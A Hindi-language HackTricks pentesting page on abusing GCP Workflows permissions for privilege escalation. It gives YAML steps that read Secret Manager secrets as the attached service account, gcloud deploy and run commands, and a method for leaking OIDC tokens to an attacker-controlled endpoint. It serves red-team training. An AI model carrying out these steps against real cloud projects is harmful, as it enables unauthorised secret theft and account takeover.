GCP - Workflows Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Workflows

मूल जानकारी:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस Workflow से जुड़े SA के SA क्रेडेंशियल्स वाला मेटाडेटा एंडपॉइंट तक पहुंच हो। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।

कनेक्टर्स की दस्तावेज़ीकरण ढूंढना संभव है। उदाहरण के लिए, यह Secretmanager कनेक्टर का पृष्ठ** है।** साइड बार में कई अन्य कनेक्टर्स मिल सकते हैं।

और यहाँ आप एक कनेक्टर का उदाहरण देख सकते हैं जो एक रहस्य प्रिंट करता है:

yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"

CLI से अपडेट:

bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

यदि आपको ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist जैसी त्रुटि मिलती है, तो बस एक मिनट प्रतीक्षा करें और फिर से प्रयास करें

यदि आपके पास वेब एक्सेस नहीं है, तो आप निम्नलिखित के साथ एक Workflow को ट्रिगर और उसके निष्पादन को देख सकते हैं:

bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

caution

आप संवेदनशील जानकारी की तलाश के लिए पिछले निष्पादन के आउटपुट की भी जांच कर सकते हैं

ध्यान दें कि भले ही आपको PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... जैसी त्रुटि मिले क्योंकि आपके पास वह अनुमति नहीं है, कार्यप्रवाह उत्पन्न हो चुका है।

OIDC टोकन लीक (और OAuth?)

दस्तावेज़ों के अनुसार यह संभव है कि कार्यप्रवाह चरणों का उपयोग किया जाए जो OAuth या OIDC टोकन के साथ HTTP अनुरोध भेजेंगे। हालाँकि, Cloud Scheduler के मामले की तरह, Oauth टोकन के साथ HTTP अनुरोध को होस्ट .googleapis.com पर होना चाहिए।

caution

इसलिए, यह संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट को इंगित करके लीक किया जाए, लेकिन OAuth टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए बायपास की आवश्यकता होगी। हालाँकि, आप अभी भी SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।

Oauth

yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

इस अनुमति के साथ workflows.workflows.create के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और समान हमले करना संभव है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें